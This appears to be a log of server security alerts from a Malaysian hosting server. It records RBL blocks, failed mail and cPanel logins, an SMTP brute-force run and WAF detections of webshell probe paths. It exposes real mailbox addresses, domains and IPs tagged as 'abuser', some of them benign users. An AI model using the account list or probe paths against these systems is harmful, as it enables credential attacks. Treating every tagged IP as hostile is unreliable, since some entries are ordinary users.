plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.77.179.64
country_id: 3469034
description:
Jan 27 11:09:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.77.179.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.128.185
country_id: 3469034
description:
Jan 27 11:10:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.188.254.128
country_id: 3895114
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/DependencyInjection/ConfigurableExtension.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.225.192.81
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/event-single.php?id=875939 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.178.154
country_id: 1269750
description:
Jan 27 11:16:14 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.178.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.154
country_id: 1269750
description:
2026-01-27 11:16:16 dovecot_login authenticator failed for H=([128.185.223.87]) [182.95.178.154]:43182: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.238
country_id: 953987
description:
Jan 27 11:16:52 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.238
country_id: 953987
description:
Jan 27 11:17:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.222
country_id: 1269750
description:
Jan 27 11:17:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.222 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
2026-01-27 11:17:17 dovecot_login authenticator failed for H=([122.187.230.222]) [122.187.230.222]:42990: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 11:21:13 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 11:23:46 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.62.37
country_id: 1814991
description:
Jan 27 11:25:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.62.37 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.62.37
country_id: 1814991
description:
2026-01-27 11:25:25 dovecot_login authenticator failed for H=([111.26.62.36]) [111.26.62.37]:60336: 535 Incorrect authentication data (set_id=wgoeqsscr@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:26:47 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET /cpsess0474370474/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.45.55.175
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-26.104.45.55.175||RSV:7.67||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kaveen@aircarbonic.my [01/27/2026:03:27:05 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kaveen@aircarbonic.my


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.132.205
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=38 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.40.89.230
country_id: 3437598
description:
2026-01-27 11:28:53 dovecot_login authenticator failed for H=(localhost) [181.40.89.230]:50376: 535 Incorrect authentication data (set_id=inf@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:28:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57375: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 66.132.153.117
country_id: 6252001
description:
2026-01-27 11:29:54 809702 [Warning] Aborted connection 809702 to db: 'unconnected' user: 'unauthenticated' host: '66.132.153.117' (This connection closed normally without authentication)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:30:04 H=([10.1.1.176]) [60.54.167.90]:49180 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.80.228.231
country_id: 6252001
description:
Jan 27 11:30:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.80.228.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-01-27 11:30:28 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:34464: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.127.253.194
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/psr/http-message/CHANGELOG.md HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:34:06 H=([10.1.1.176]) [60.54.167.90]:49274 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.177.124.129
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/EmailValidator/EmailLexer.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.10.85
country_id: 1269750
description:
Jan 27 11:35:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.10.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 11:36:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.237.86.217
country_id: 1562822
description:
2026-01-27 11:37:55 H=([103.237.86.217]) [103.237.86.217]:64867 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<robin@pushkang.cn> rejected RCPT <natasya@ktlog.com.my>: SPF: 103.237.86.217 is not allowed to send mail from pushkang.cn


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:38:09 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:38 sv3 pure-ftpd[2204304]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:40 sv3 pure-ftpd[2204304]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 11:38:54 sv3 pure-ftpd[2204556]: (eminent@113.211.212.49) [NOTICE] /home/eminent//public_html/folder/RHB1049_CC_Mass_Acq_2026_EDM/index_edm.html uploaded  (40256 bytes, 826.43KB/sec)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:40:14 H=([10.1.1.176]) [60.54.167.90]:49306 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.27.214.246
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=219327 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:41:12 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:41:22 H=([10.1.1.176]) [60.54.167.90]:49317 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.224.64
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/EventListener/DumpListener.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 11:45:03 H=([10.1.1.176]) [60.54.167.90]:49327 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-27 11:46:44 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.70.23
country_id: 1861060
domain: www.modern.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.my/wp-content/uploads/myLIFE-2nd-Draw.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.231.70.23
country_id: 1861060
domain: www.modern.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.modern.com.myhttp/www.modern.com.my/wp-content/uploads/myLIFE-2nd-Draw.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57410: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.241.45.231
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:11-56.171.241.45.231||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:00:32 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9098: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.70
country_id: 953987
description:
Jan 27 12:01:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.32.70
country_id: 953987
description:
Jan 27 12:02:03 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.32.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:02:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14063: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:03:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9100: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:04:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9101: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:05:37 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14067: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:06:45 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9102: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:06:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14068: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/demos/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:07:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9103: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.8
country_id: 3175395
description:
Jan 27 12:07:12 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.8 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 12:07:59 H=([45.144.212.44]) [45.144.212.44]:65240 F=<ftirado@atom-spain.com> rejected RCPT <sales@cordage.com.my>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:08:51 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14072: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.208.242.63
country_id: 3625428
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:09:09 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14073: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:10:01 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9104: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14634: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.44
country_id: 690791
description:
2026-01-27 12:13:33 H=([45.144.212.44]) [45.144.212.44]:58025 F=<ftirado@atom-spain.com> rejected RCPT <info@aire-fresh.com>: SPF: 45.144.212.44 is not allowed to send mail from atom-spain.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:14:23 H=([10.1.1.176]) [60.54.167.90]:49392 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.150.22.52
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=10 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.227.222.229
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/recruit/fukuri-resort/images/banner3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.40.2.194
country_id: 6290252
description:
Jan 27 12:15:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.40.2.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:15:51 H=([10.1.1.176]) [60.54.167.90]:49416 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.156.242.103
country_id: 3996063
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner4.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.12.169.90
country_id: 3895114
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/banner2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.254.119.118
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/comedical/2021/12/images/logo-(3).png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.41.227.59
country_id: 1269750
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=1&sub=19 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9108: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.255.205.134
country_id: 2413451
description:
Jan 27 12:20:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.255.205.134 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.141.37.153
country_id: 3658394
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=299091 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.55.244.184
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=605450 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 121.121.104.199
country_id: 1733045
description:
[2026-01-27 12:21:17 +0800] info [webmaild] 121.121.104.199 - rozyhr@tschuan.com "GET /cpsess1655842472/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.28.91
country_id: 1562822
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-2.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.59.101.8
country_id: 1527747
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news-detail9.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.120.95
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=430640 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 12:21:50 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 12:22:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14638: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.192.170
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.173
country_id: 1835841
description:
Jan 27 12:22:19 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 60.54.167.90
country_id: 1733045
description:
2026-01-27 12:22:43 H=([10.1.1.176]) [60.54.167.90]:49431 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<jasonkua@printspecsolution.com> A=dovecot_login:jasonkua@printspecsolution.com rejected RCPT <era@printspecsolution.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 158.181.40.36
country_id: 587116
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.191.81.66
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=566815 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.113.194.6
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jan 27 12:22:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
